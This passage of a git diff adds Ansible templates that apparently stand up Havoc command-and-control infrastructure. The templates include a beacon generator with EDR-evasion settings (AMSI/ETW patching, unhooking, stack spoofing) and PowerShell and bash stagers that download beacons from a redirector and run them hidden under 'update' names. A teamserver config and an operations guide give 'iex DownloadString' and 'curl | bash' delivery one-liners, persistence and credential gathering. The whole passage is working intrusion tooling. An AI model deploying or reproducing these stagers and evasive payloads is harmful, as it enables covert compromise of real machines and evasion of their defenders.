+ chmod +x $BEACONS_DIR/stagers/linux_stager.sh
+
+ echo "[+] Stagers created successfully"
+}
+
+# Create manifest file
+create_manifest() {
+ local payload_info=$1
+ local win_output=$(echo $payload_info | cut -d':' -f1)
+ local dll_output=$(echo $payload_info | cut -d':' -f2)
+ local linux_output=$(echo $payload_info | cut -d':' -f3)
+ local shellcode_output=$(echo $payload_info | cut -d':' -f4)
+
+ echo "[+] Creating manifest file..."
+ cat > $BEACONS_DIR/manifest.json << EOF
+{
+ "windows_exe": "$win_output",
+ "windows_dll": "$dll_output",
+ "linux_binary": "$linux_output",
+ "windows_shellcode": "$shellcode_output",
+ "redirector_host": "$REDIRECTOR_HOST",
+ "redirector_port": "$REDIRECTOR_PORT",
+ "c2_host": "$C2_HOST",
+ "havoc_teamserver_port": "$TEAMSERVER_PORT",
+ "havoc_http_port": "$HTTP_PORT",
+ "havoc_https_port": "$HTTPS_PORT",
+ "generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
+}
+EOF
+}
+
+# Create reference file
+create_reference() {
+ local payload_info=$1
+ local win_output=$(echo $payload_info | cut -d':' -f1)
+ local dll_output=$(echo $payload_info | cut -d':' -f2)
+ local linux_output=$(echo $payload_info | cut -d':' -f3)
+ local shellcode_output=$(echo $payload_info | cut -d':' -f4)
+
+ echo "[+] Creating reference file..."
+ cat > $BEACONS_DIR/reference.txt << EOF
+Havoc C2 Server Details:
+- C2 IP: $C2_HOST
+- Redirector Domain: $REDIRECTOR_HOST
+- Teamserver Port: $TEAMSERVER_PORT
+- Admin User: $ADMIN_USER
+- Admin Password: $ADMIN_PASS
+
+Beacons Generated ($(date)):
+- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
+- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
+- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
+- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
+
+Deployment Commands:
+- PowerShell:
+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
+
+- Linux:
+ curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
+
+Anti-Detection Features Enabled:
+- Binary signature randomization
+- PE/ELF header manipulation
+- Sleep mask obfuscation
+- AMSI bypass in stagers
+- EDR unhooking
+- Indirect syscalls
+- Random sleep/jitter timing
+EOF
+}
+
+# Main execution flow
+echo "[+] Starting EDR-evasive Havoc beacon generation..."
+echo "[+] Redirector: $REDIRECTOR_HOST"
+echo "[+] C2 Host: $C2_HOST"
+
+# Generate payloads
+payload_info=$(generate_payloads)
+
+# Generate stagers
+generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
+
+# Create manifest file
+create_manifest "$payload_info"
+
+# Create reference file
+create_reference "$payload_info"
+
+echo "[+] EDR-evasive beacon generation complete!"
\ No newline at end of file
diff --git a/universal/templates/generate_havoc_payloads.sh.j2 b/universal/templates/generate_havoc_payloads.sh.j2
new file mode 100644
index 0000000..1105ecd
--- /dev/null
+++ b/universal/templates/generate_havoc_payloads.sh.j2
@@ -0,0 +1,260 @@
+#!/bin/bash
+# EDR-evasive payload generator for Havoc C2
+
+# Configuration (automatically populated by Ansible)
+PAYLOADS_DIR="/root/Tools/Havoc/payloads"
+C2_HOST="{{ ansible_host }}"
+REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
+REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
+TEAMSERVER_HOST="127.0.0.1"
+TEAMSERVER_PORT="40056"
+HAVOC_DIR="/root/Tools/Havoc"
+HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
+
+# Ensure required directories exist
+mkdir -p $PAYLOADS_DIR/windows
+mkdir -p $PAYLOADS_DIR/linux
+mkdir -p $PAYLOADS_DIR/staged
+
+# Generate unique random values for each execution
+random_string() {
+ cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
+}
+
+# Define Havoc profiles for different payloads
+generate_profiles() {
+ echo "[+] Generating Havoc C2 profiles..."
+
+ # Profile for Windows EXE
+ cat > $PAYLOADS_DIR/win_exe.profile << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": 5,
+ "SleepJitter": 30,
+ "IndirectSyscalls": true,
+ "Inject": {
+ "AllocationMethod": 0,
+ "ExecutionMethod": 0,
+ "ExecuteOptions": 0
+ },
+ "Evasion": {
+ "StackSpoofing": true,
+ "SleazeUnhook": true,
+ "AmsiEtwPatching": true
+ },
+ "Formats": [
+ "Binary",
+ "Shellcode"
+ ]
+ }
+}
+EOF
+
+ # Profile for Linux ELF
+ cat > $PAYLOADS_DIR/linux_elf.profile << EOF
+{
+ "Listener": "https",
+ "Demon": {
+ "Sleep": 5,
+ "SleepJitter": 30,
+ "Injection": {
+ "SpawnMethod": 1,
+ "AllocationMethod": 1
+ },
+ "Formats": [
+ "Binary",
+ "Shellcode"
+ ]
+ }
+}
+EOF
+
+ echo "[+] Profiles created successfully"
+}
+
+# Generate Havoc payloads with CLI arguments
+generate_payloads() {
+ echo "[+] Generating Havoc payloads..."
+
+ # Windows EXE
+ win_output="agent_win_$(random_string 8).exe"
+ echo "[+] Generating Windows payload: $win_output"
+
+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/win_exe.profile" \
+ --format exe \
+ --output "$PAYLOADS_DIR/windows/$win_output" \
+ > /dev/null 2>&1
+
+ # Windows DLL
+ dll_output="module_$(random_string 8).dll"
+ echo "[+] Generating Windows DLL: $dll_output"
+
+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/win_exe.profile" \
+ --format dll \
+ --output "$PAYLOADS_DIR/windows/$dll_output" \
+ > /dev/null 2>&1
+
+ # Linux ELF
+ linux_output="agent_linux_$(random_string 8)"
+ echo "[+] Generating Linux payload: $linux_output"
+
+ $HAVOC_CLIENT headless \
+ --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
+ --username "admin" \
+ --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
+ --daemon \
+ --generate payload \
+ --listener "https" \
+ --config "$PAYLOADS_DIR/linux_elf.profile" \
+ --format elf \
+ --output "$PAYLOADS_DIR/linux/$linux_output" \
+ > /dev/null 2>&1
+
+ echo "[+] All payloads generated successfully!"
+
+ # Return payload names for reference
+ echo "$win_output:$dll_output:$linux_output"
+}
+
+# Generate PowerShell and bash stagers
+generate_stagers() {
+ win_output=$1
+ linux_output=$2
+
+ echo "[+] Generating stagers..."
+
+ # PowerShell stager
+ cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
+# PowerShell stager for Havoc C2
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
+\$ErrorActionPreference = 'SilentlyContinue'
+\$wc = New-Object System.Net.WebClient
+\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
+\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
+\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
+\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
+\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
+try {
+ \$wc.DownloadFile(\$url, \$outpath)
+ Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
+ Start-Process -WindowStyle Hidden -FilePath \$outpath
+} catch {
+ # Fail silently
+}
+EOF
+
+ # Bash stager
+ cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
+#!/bin/bash
+# Linux download and execute Havoc beacon
+
+# Download binary to /tmp with random name
+TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
+curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
+chmod +x \$TMPFILE
+
+# Execute in background
+\$TMPFILE &
+
+echo "Update complete."
+EOF
+
+ chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
+
+ echo "[+] Stagers generated successfully"
+}
+
+# Create manifest file
+create_manifest() {
+ payload_info=$1
+ win_output=$(echo $payload_info | cut -d':' -f1)
+ dll_output=$(echo $payload_info | cut -d':' -f2)
+ linux_output=$(echo $payload_info | cut -d':' -f3)
+
+ cat > $PAYLOADS_DIR/manifest.json << EOF
+{
+ "windows_exe": "$win_output",
+ "windows_dll": "$dll_output",
+ "linux_binary": "$linux_output",
+ "redirector_host": "$REDIRECTOR_HOST",
+ "redirector_port": "$REDIRECTOR_PORT",
+ "c2_host": "$C2_HOST",
+ "generated_date": "$(date)"
+}
+EOF
+
+ echo "[+] Manifest created successfully"
+}
+
+# Create reference file
+create_reference() {
+ payload_info=$1
+ win_output=$(echo $payload_info | cut -d':' -f1)
+ dll_output=$(echo $payload_info | cut -d':' -f2)
+ linux_output=$(echo $payload_info | cut -d':' -f3)
+
+ cat > $PAYLOADS_DIR/reference.txt << EOF
+Havoc C2 Server Details:
+- C2 IP: $C2_HOST
+- Redirector Domain: $REDIRECTOR_HOST
+
+Payloads Generated ($(date)):
+- Windows EXE: $win_output
+- Windows DLL: $dll_output
+- Linux Binary: $linux_output
+
+Usage:
+1. Ensure your redirector is properly configured to forward requests to the C2 server
+2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
+3. Test connectivity before deployment in target environment
+
+Payload deployment:
+- PowerShell:
+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
+
+- Linux:
+ curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
+EOF
+
+ echo "[+] Reference file created successfully"
+}
+
+# Main execution flow
+echo "[+] Starting Havoc C2 payload generation..."
+echo "[+] Redirector: $REDIRECTOR_HOST"
+echo "[+] C2 Host: $C2_HOST"
+
+# Create stagers directory
+mkdir -p $PAYLOADS_DIR/stagers
+
+# Generate profiles
+generate_profiles
+
+# Generate payloads
+payload_info=$(generate_payloads)
+
+# Generate stagers
+generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
+
+# Create manifest
+create_manifest "$payload_info"
+
+# Create reference
+create_reference "$payload_info"
+
+echo "[+] Havoc payload generation complete!"
\ No newline at end of file
diff --git a/universal/templates/havoc-config.yaotl.j2 b/universal/templates/havoc-config.yaotl.j2
new file mode 100644
index 0000000..eb3e13b
--- /dev/null
+++ b/universal/templates/havoc-config.yaotl.j2
@@ -0,0 +1,79 @@
+Teamserver {
+ Host = "0.0.0.0"
+ Port = {{ havoc_teamserver_port | default(40056) }}
+
+ Build {
+ Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
+ Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
+ Nasm = "/usr/bin/nasm"
+ }
+}
+
+Operators {
+ user "{{ havoc_admin_user | default('admin') }}" {
+ Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
+ }
+ {% if havoc_operators is defined %}
+ {% for operator in havoc_operators %}
+ user "{{ operator.name }}" {
+ Password = "{{ operator.password }}"
+ }
+ {% endfor %}
+ {% endif %}
+}
+
+Listeners {
+ Http {
+ Name = "https"
+ Hosts = [
+ "{{ redirector_subdomain }}.{{ domain }}"
+ ]
+ HostBind = "0.0.0.0"
+ HostRotation = "round-robin"
+ PortBind = {{ havoc_https_port | default(9443) }}
+ PortConn = {{ havoc_https_port | default(9443) }}
+ UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
+ Headers = [
+ "Accept: */*",
+ "Accept-Language: en-US,en;q=0.9"
+ ]
+ Uris = [
+ "/api/v2",
+ "/content",
+ "/static/css",
+ "/wp-content/plugins"
+ ]
+ Response {
+ Headers = [
+ "Content-Type: application/json",
+ "Cache-Control: no-store, private",
+ "X-Content-Type-Options: nosniff"
+ ]
+ }
+ Secure = true
+
+ Cert {
+ Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
+ Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
+ }
+ }
+}
+
+Demon {
+ Sleep = {{ havoc_sleep | default(5) }}
+ Jitter = {{ havoc_jitter | default(30) }}
+
+ Injection {
+ {% if havoc_spawn64 is defined %}
+ Spawn64 = "{{ havoc_spawn64 }}"
+ {% else %}
+ Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
+ {% endif %}
+
+ {% if havoc_spawn32 is defined %}
+ Spawn32 = "{{ havoc_spawn32 }}"
+ {% else %}
+ Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
+ {% endif %}
+ }
+}
\ No newline at end of file
diff --git a/universal/templates/havoc-guide.j2 b/universal/templates/havoc-guide.j2
new file mode 100644
index 0000000..c96fbac
--- /dev/null
+++ b/universal/templates/havoc-guide.j2
@@ -0,0 +1,112 @@
+HAVOC C2 OPERATIONS GUIDE
+==========================
+
+This guide provides information on using the Havoc C2 framework (dev branch)
+deployed on your infrastructure.
+
+SERVER INFORMATION
+-----------------
+C2 Server IP: {{ c2_ip }}
+Redirector Domain: {{ redirector_domain }}
+Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
+HTTP Listener Port: {{ havoc_http_port | default(8080) }}
+HTTPS Listener Port: {{ havoc_https_port | default(443) }}
+Admin User: {{ havoc_admin_user | default('admin') }}
+Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
+
+CONNECTING TO THE TEAMSERVER
+---------------------------
+From your local machine:
+
+1. Make sure Havoc client (dev branch) is installed:
+ $ git clone -b dev https://github.com/HavocFramework/Havoc.git
+ $ cd Havoc/Client
+ $ mkdir build && cd build
+ $ cmake -GNinja ..
+ $ ninja
+
+2. Connect to the Teamserver via GUI:
+ - Host: {{ c2_ip }}
+ - Port: {{ havoc_teamserver_port | default(40056) }}
+ - User: {{ havoc_admin_user | default('admin') }}
+ - Password: See /root/Tools/Havoc/data/profiles/default.yaotl
+
+3. CLI Connection:
+ $ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
+
+LISTENERS
+--------
+Two default listeners are configured:
+- HTTP on port {{ havoc_http_port | default(8080) }}
+- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
+
+To view and manage listeners: Attack → Listeners in the Havoc client.
+
+GENERATING PAYLOADS
+-----------------
+Pre-generated payloads are available in /root/Tools/Havoc/payloads/
+
+To generate new payloads:
+1. Connect to the Teamserver
+2. Navigate to Attack → Payload
+3. Select the listener (HTTPS recommended)
+4. Choose architecture, format, and evasion options
+5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
+
+PAYLOAD DELIVERY
+--------------
+PowerShell one-liner:
+powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
+
+Linux one-liner:
+curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
+
+OPERATIONAL SECURITY
+------------------
+- All connections are routed through the redirector
+- Payload customization includes:
+ * Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
+ * EDR unhooking techniques
+ * AMSI/ETW patching
+ * Indirect syscalls
+ * Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
+
+ADVANCED FEATURES (DEV BRANCH)
+----------------------------
+- Enhanced memory scanner evasion
+- PPID spoofing capabilities
+- Reflective DLL loading improvements
+- EDR hook detection and avoidance
+- Process token manipulation
+- Registry persistence options
+
+POST-EXPLOITATION
+---------------
+For post-exploitation, Havoc offers:
+
+1. BOF (Beacon Object Files) support
+2. Integrated command & control modules
+3. File system operations
+4. Process injection & manipulation
+5. Credential gathering capabilities
+
+SERVER MANAGEMENT
+---------------
+- Havoc Teamserver service: systemctl status havoc
+- Service configuration: /etc/systemd/system/havoc.service
+- Configuration profiles: /root/Tools/Havoc/data/profiles/
+
+TROUBLESHOOTING
+--------------
+1. Agent connection issues:
+ - Verify DNS for {{ redirector_domain }} points to your redirector
+ - Check nginx configuration on the redirector
+ - Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
+
+2. Teamserver issues:
+ - Check service: systemctl status havoc
+ - View logs: journalctl -u havoc
+ - Restart if needed: systemctl restart havoc
+
+3. Use Havoc client CLI debugging:
+ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
\ No newline at end of file
diff --git a/templates/index.html.j2 b/universal/templates/index.html.j2
similarity index 100%
rename from templates/index.html.j2
rename to universal/templates/index.html.j2
diff --git a/templates/infrastructure_state.j2 b/universal/templates/infrastructure_state.j2
similarity index 100%
rename from templates/infrastructure_state.j2
rename to universal/templates/infrastructure_state.j2
diff --git a/templates/linux_loader.sh.j2 b/universal/templates/linux_loader.sh.j2
similarity index 100%
rename from templates/linux_loader.sh.j2
rename to universal/templates/linux_loader.sh.j2
diff --git a/templates/manifest.json.j2 b/universal/templates/manifest.json.j2
similarity index 100%
rename from templates/manifest.json.j2
rename to universal/templates/manifest.json.j2
diff --git a/templates/motd-aws.j2 b/universal/templates/motd-aws.j2
similarity index 100%
rename from templates/motd-aws.j2
rename to universal/templates/motd-aws.j2
diff --git a/templates/motd-linode.j2 b/universal/templates/motd-linode.j2
similarity index 100%
rename from templates/motd-linode.j2
rename to universal/templates/motd-linode.j2
diff --git a/templates/motd-redirector.j2 b/universal/templates/motd-redirector.j2
similarity index 100%
rename from templates/motd-redirector.j2
rename to universal/templates/motd-redirector.j2
diff --git a/templates/motd.j2 b/universal/templates/motd.j2
similarity index 100%
rename from templates/motd.j2
rename to universal/templates/motd.j2
diff --git a/templates/nginx.conf.j2 b/universal/templates/nginx.conf.j2
similarity index 100%
rename from templates/nginx.conf.j2
rename to universal/templates/nginx.conf.j2
diff --git a/templates/proxychains.conf.j2 b/universal/templates/proxychains.conf.j2
similarity index 100%
rename from templates/proxychains.conf.j2
rename to universal/templates/proxychains.conf.j2
diff --git a/templates/reference.txt.j2 b/universal/templates/reference.txt.j2
similarity index 100%
rename from templates/reference.txt.j2
rename to universal/templates/reference.txt.j2
diff --git a/templates/resolv.conf.j2 b/universal/templates/resolv.conf.j2
similarity index 100%
rename from templates/resolv.conf.j2
rename to universal/templates/resolv.conf.j2
diff --git a/templates/secure-ssh.sh.j2 b/universal/templates/secure-ssh.sh.j2
similarity index 100%
rename from templates/secure-ssh.sh.j2
rename to universal/templates/secure-ssh.sh.j2
diff --git a/templates/serve-havoc-payloads.sh.j2 b/universal/templates/serve-havoc-payloads.sh.j2
similarity index 100%
rename from templates/serve-havoc-payloads.sh.j2
rename to universal/templates/serve-havoc-payloads.sh.j2
diff --git a/templates/setup-cert.sh.j2 b/universal/templates/setup-cert.sh.j2
similarity index 100%
rename from templates/setup-cert.sh.j2
rename to universal/templates/setup-cert.sh.j2
diff --git a/templates/shell-handler.service.j2 b/universal/templates/shell-handler.service.j2
similarity index 100%
rename from templates/shell-handler.service.j2
rename to universal/templates/shell-handler.service.j2
diff --git a/templates/simple_email_tracker.py.j2 b/universal/templates/simple_email_tracker.py.j2
similarity index 100%
rename from templates/simple_email_tracker.py.j2
rename to universal/templates/simple_email_tracker.py.j2
diff --git a/templates/stream.conf.j2 b/universal/templates/stream.conf.j2
similarity index 100%
rename from templates/stream.conf.j2
rename to universal/templates/stream.conf.j2
diff --git a/templates/torrc.j2 b/universal/templates/torrc.j2
similarity index 100%
rename from templates/torrc.j2
rename to universal/templates/torrc.j2
diff --git a/templates/tracker-config.j2 b/universal/templates/tracker-config.j2
similarity index 100%
rename from templates/tracker-config.j2
rename to universal/templates/tracker-config.j2
diff --git a/templates/tracker-nginx.conf.j2 b/universal/templates/tracker-nginx.conf.j2
similarity index 100%
rename from templates/tracker-nginx.conf.j2
rename to universal/templates/tracker-nginx.conf.j2
diff --git a/templates/tracker.service.j2 b/universal/templates/tracker.service.j2
similarity index 100%
rename from templates/tracker.service.j2
rename to universal/templates/tracker.service.j2
diff --git a/templates/windows_loader.ps1.j2 b/universal/templates/windows_loader.ps1.j2
similarity index 100%
rename from templates/windows_loader.ps1.j2
rename to universal/templates/windows_loader.ps1.j2